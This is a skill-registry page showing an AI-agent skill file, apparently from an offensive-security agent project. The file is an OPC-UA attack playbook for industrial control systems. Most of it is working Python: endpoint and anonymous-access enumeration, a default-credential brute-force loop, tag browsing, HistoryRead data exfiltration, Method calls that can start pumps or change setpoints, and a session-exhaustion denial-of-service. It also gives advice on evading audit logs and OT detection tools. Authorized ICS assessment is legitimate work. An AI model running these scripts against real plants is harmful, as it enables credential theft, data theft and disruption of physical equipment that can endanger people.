CtrlK
BlogDocsLog inGet started
Tessl Logo

opcua

OPC-UA (TCP 4840) attack playbook — endpoint enumeration, SecurityPolicy mapping, anonymous/weak-auth abuse, address-space browsing and tag read, HistoryRead exfiltration, Method call for control actions, session-exhaustion DoS. Modern IT/OT DMZ convergence protocol replacing legacy fieldbus.

57

Quality

66%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.md
SKILL.md
Quality
Evals
Security

OPC-UA Attack Playbook (TCP 4840)

OPC-UA is the dominant modern IT/OT convergence protocol — Siemens, ABB, Rockwell, Honeywell, and most new DCS/SCADA deployments expose it alongside or instead of legacy fieldbus. It supports security (signing + encryption) but many deployments leave SecurityPolicy: None active for "backwards compatibility," giving full unauthenticated access to the address space.

SAFETY FIRST

OPC-UA Method calls can directly invoke control actions (start/stop, setpoint override, firmware update). Confirm written scope authorization before any call to Method nodes or write to Variable nodes. Read-only browsing (BrowseRequest, ReadRequest on status/telemetry nodes) is generally safe.

Prerequisites

# Install asyncua (successor to python-opcua / opcua-asyncio)
pip install asyncua

# Also useful: opcua-client GUI (optional), opcua-scan
pip install opcua-scan
# OR clone Wavestone opcua-scan:
# git clone https://github.com/wavestone-cdt/opcua-scan

# Confirm target reachability
nmap -p 4840 --open -sV 10.0.0.0/24

Phase 1 — Discover

# nmap service banner on 4840
nmap -p 4840 -sV --script=opcua-discovery 10.0.0.5

# OPC UA Hello probe — get the server's application description
# opcua-scan sends a HEL/ACK and reads GetEndpoints without connecting to a session
python3 -m opcuascan 10.0.0.5:4840
# Output includes: ProductName, ApplicationUri, SecurityPolicies, supported UserIdentityTokens

Phase 2 — GetEndpoints (unauthenticated policy enumeration)

GetEndpoints is always available without a session — it's the pre-auth discovery call.

import asyncio
from asyncua import Client

async def get_endpoints():
    url = "opc.tcp://10.0.0.5:4840"
    # Use None security policy — client sends HEL, gets ACK, calls GetEndpoints
    async with Client(url=url) as client:
        endpoints = await client.get_endpoints()
        for ep in endpoints:
            print(f"URL: {ep.EndpointUrl}")
            print(f"  SecurityMode: {ep.SecurityMode}")       # 1=None, 2=Sign, 3=SignAndEncrypt
            print(f"  SecurityPolicy: {ep.SecurityPolicyUri}")
            for tok in ep.UserIdentityTokens:
                print(f"  Token: {tok.TokenType}")  # 0=Anonymous, 1=UserName, 2=Certificate, 3=IssuedToken

asyncio.run(get_endpoints())

Key findings to record:

  • SecurityMode: 1 (None) + SecurityPolicy: http://opcfoundation.org/UA/SecurityPolicy#None → plaintext, no signing. Traffic is readable in Wireshark.
  • TokenType: 0 (Anonymous) accepted → no credentials needed.
  • TokenType: 1 (UserName) present → attempt default/dictionary creds.

Phase 3 — Auth testing

Anonymous connect

import asyncio
from asyncua import Client

async def anon_connect():
    url = "opc.tcp://10.0.0.5:4840/OPCUA/SimulationServer"
    async with Client(url=url) as client:
        # No credentials set — asyncua defaults to Anonymous token
        root = client.get_root_node()
        print("Root node:", await root.read_browse_name())
        # Successful connection here = Anonymous accepted
        server_node = client.get_server_node()
        status = await server_node.get_child(["0:ServerStatus"])
        print("Server status:", await status.read_value())

asyncio.run(anon_connect())

Username/password dictionary attack

import asyncio
from asyncua import Client
from asyncua.ua import uaerrors

DEFAULT_CREDS = [
    ("admin", "admin"), ("administrator", "administrator"),
    ("opcua", "opcua"), ("user", "user"), ("guest", ""),
    ("operator", "operator"), ("root", "root"), ("OpcUaClient", ""),
    ("Anonymous", ""), ("siemens", "siemens"), ("admin", ""),
]

async def brute_opcua(url):
    for user, pwd in DEFAULT_CREDS:
        try:
            async with Client(url=url) as client:
                await client.set_user(user)
                await client.set_password(pwd)
                await client.connect()
                print(f"[+] VALID: {user}:{pwd}")
                return user, pwd
        except uaerrors.BadUserAccessDenied:
            print(f"[-] {user}:{pwd} — denied")
        except uaerrors.BadIdentityTokenRejected:
            print(f"[-] {user}:{pwd} — rejected")
        except Exception as e:
            print(f"[!] {user}:{pwd} — {e}")
    return None, None

asyncio.run(brute_opcua("opc.tcp://10.0.0.5:4840"))

Phase 4 — Address-space browsing and tag read

Once authenticated (anonymous or credentialed):

import asyncio
from asyncua import Client, ua

async def browse_and_read(url, depth=3):
    async with Client(url=url) as client:
        # Browse from Objects folder (standard entry point for process data)
        objects = client.get_objects_node()

        async def recurse(node, level=0):
            try:
                children = await node.get_children()
                name = await node.read_browse_name()
                print("  " * level + f"[{name.Name}] NodeId={node.nodeid}")
                for child in children:
                    cls = await child.read_node_class()
                    if cls == ua.NodeClass.Variable:
                        try:
                            val = await child.read_value()
                            cname = await child.read_browse_name()
                            print("  " * (level+1) + f"VAR {cname.Name} = {val}")
                        except Exception:
                            pass
                    if level < depth:
                        await recurse(child, level + 1)
            except Exception as e:
                print("  " * level + f"[browse error: {e}]")

        await recurse(objects)

asyncio.run(browse_and_read("opc.tcp://10.0.0.5:4840"))

Key nodes to target:

  • Objects/Server/ServerStatus — build info, start time, current time (always readable, even anonymous)
  • Objects/DeviceSet/ or Objects/<VendorNamespace>/ — vendor-specific process variables
  • Node class Method — callable control actions (pump start, valve position, firmware upload)

Read ServerStatus for vendor/version fingerprint

async with Client(url=url) as client:
    nsidx = await client.get_namespace_index("http://opcfoundation.org/UA/")
    build_info = await client.nodes.server.get_child(["0:ServerStatus", "0:BuildInfo"])
    product = await build_info.get_child(["0:ProductName"])
    version = await build_info.get_child(["0:SoftwareVersion"])
    print(await product.read_value(), await version.read_value())
    # e.g.: "Prosys OPC UA Simulation Server" "5.4.6"
    # e.g.: "Unified Automation UaGateway" "3.3.0"
    # e.g.: "open62541" "1.3.6"

Phase 5 — HistoryRead (process data exfiltration)

Many historian/SCADA OPC-UA servers expose historical process values via HistoryRead. This can dump weeks of sensor/tag data unauthenticated.

import asyncio
from asyncua import Client, ua
from datetime import datetime, timedelta, timezone

async def history_read(url, node_id_str):
    async with Client(url=url) as client:
        node = client.get_node(node_id_str)  # e.g. "ns=2;s=Temperature"
        end_time = datetime.now(timezone.utc)
        start_time = end_time - timedelta(hours=24)

        result = await client.history_read(
            nodes=[node],
            pe=ua.ReadRawModifiedDetails(
                IsReadModified=False,
                StartTime=start_time,
                EndTime=end_time,
                NumValuesPerNode=1000,
                ReturnBounds=True,
            )
        )
        for dv in result[0].HistoryData.DataValues:
            print(f"  {dv.SourceTimestamp}  {dv.Value.Value}")

asyncio.run(history_read("opc.tcp://10.0.0.5:4840", "ns=2;s=Temperature"))

Phase 6 — Method node calls (write-class, SAFETY GATE)

STOP. Write-class authorization required before executing this phase. Method calls may directly actuate physical equipment.

import asyncio
from asyncua import Client, ua

async def call_method(url, object_node_id, method_node_id, *args):
    """
    Call an OPC UA Method node.
    object_node_id: NodeId of the parent Object (e.g. "ns=2;s=PumpController")
    method_node_id: NodeId of the Method (e.g. "ns=2;s=PumpController.Start")
    """
    async with Client(url=url) as client:
        obj = client.get_node(object_node_id)
        method = client.get_node(method_node_id)
        result = await obj.call_method(method, *args)
        print("Method result:", result)

# Example: call a simulated start method
# asyncio.run(call_method("opc.tcp://10.0.0.5:4840",
#     "ns=2;s=PumpController", "ns=2;s=PumpController.Start"))

Enumeration of available methods (read-only, safe):

async with Client(url=url) as client:
    objects = client.get_objects_node()
    async def find_methods(node, level=0):
        try:
            for child in await node.get_children():
                cls = await child.read_node_class()
                if cls == ua.NodeClass.Method:
                    name = await child.read_browse_name()
                    print("  " * level + f"[METHOD] {name.Name}  NodeId={child.nodeid}")
                elif cls in (ua.NodeClass.Object, ua.NodeClass.ObjectType):
                    if level < 4:
                        await find_methods(child, level + 1)
        except Exception:
            pass
    await find_methods(objects)

Phase 7 — Session exhaustion DoS

CVE-2024-53429 (open62541 <= 1.3.12) and CVE-2025-7390 (Softing OPC UA C++ SDK) involve oversized ExtensionObject / replay leading to server crash or excessive resource consumption. Generic session flooding is applicable to servers with no connection limit:

import asyncio
from asyncua import Client

async def exhaust_sessions(url, count=500):
    """Open many sessions without closing them — exhausts server thread pool / session table."""
    clients = []
    for i in range(count):
        try:
            c = Client(url=url)
            await c.connect()
            clients.append(c)
            if i % 50 == 0:
                print(f"  {i} sessions open")
        except Exception as e:
            print(f"  Session {i} failed: {e} — server may be saturated")
            break
    print(f"Total open sessions: {len(clients)}")
    # Note: gate behind explicit DoS authorization. Leaving sessions open will
    # degrade or crash production servers.
    for c in clients:
        try:
            await c.disconnect()
        except Exception:
            pass

# asyncio.run(exhaust_sessions("opc.tcp://10.0.0.5:4840"))

Gate this behind permitted_actions: denial_of_service. Do not run against production without explicit sign-off.

Common findings

FindingMITREImpact
SecurityPolicy: None acceptedT0882Full plaintext traffic; passive sniff reveals tag values + credentials
Anonymous access to Objects nodeT0855Read process telemetry without credentials
Anonymous HistoryReadT0846Exfiltrate weeks of process historian data
Default credentials (admin/admin)T0814Full authenticated access; potential Method call
Method nodes callable without write authorizationT0836Control actions (pump/valve/setpoint) with no auth barrier
No session limit (DoS via exhaustion)T0814Crash or freeze OPC-UA server, disrupting HMI/SCADA polling
Internet-exposed OPC-UA (Shodan: port:4840)T0882Direct ICS access from internet

Evidence

On anonymous or credentialed access, persist:

kg_add_node(
    kind="finding",
    label="OPC-UA anonymous access / SecurityPolicy None",
    props={
        "key": f"opcua-anon::{target_ip}",
        "protocol": "opc-ua",
        "port": 4840,
        "security_mode": "None",
        "anonymous_access": True,
        "server_product": "<ProductName>",
        "server_version": "<SoftwareVersion>",
        "nodes_readable": "<count>",
        "source": "asyncua-getendpoints+browse",
    },
)

On credential find:

kg_add_node(
    kind="credential",
    label=f"OPC-UA credential on {target_ip}",
    props={
        "key": f"opcua-cred::{target_ip}",
        "secret_type": "opcua_username",
        "username": user,
        "password": pwd,
        "target": target_ip,
        "port": 4840,
        "source": "opcua-brute",
    },
)

ZFP (two-method evidence)

  1. asyncua output showing GetEndpoints response with SecurityMode=1 and/or TokenType=Anonymous.
  2. Browse dump listing at least one process Variable node with a read value, OR hashcat-style session log showing valid credential.

OPSEC notes

  • GetEndpoints and anonymous Browse generate no auth event in most OPC-UA server logs. Behaviorally quiet.
  • Credentialed sessions generate an AuditCreateSessionEvent and AuditActivateSessionEvent in the OPC-UA audit log if the server has AuditingEnabled=True. Check ns=0;i=2994 (AuditingEnabled) before credentialed ops.
  • Claroty / Nozomi OT NDR platforms signature-detect OPC-UA anonymous sessions and unusual HistoryRead volumes. Use rate-limiting in enumerate loops.
  • CVE-2024-53429 and CVE-2025-7390 crashes are irreversible remotely; check server software version before any DoS testing.
  • Physical-safety gate: any Variable write or Method call may affect a physical actuator. Treat all write-class operations as requiring explicit scope authorization.

References

  • asyncua docs — github.com/FreeOpcUa/opcua-asyncio
  • opcua-scan (Wavestone) — github.com/wavestone-cdt/opcua-scan
  • Claroty Team82 OPC-UA research — claroty.com/team82/research/opcua
  • arXiv 2003.12341 — "A Systematic Methodology for ICS OPC-UA Security Assessment"
  • CVE-2024-53429 — open62541 session handling DoS
  • CVE-2025-7390 — Softing OPC UA C++ SDK replay
  • ICS-CERT advisories — cisa.gov/uscert/ics/advisories
  • OPC Foundation UA Specification Part 2 (Security Model), Part 4 (Services)
Repository
PurpleAILAB/Decepticon
Path

packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.md

Commit

e34afba

Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.

Claim skill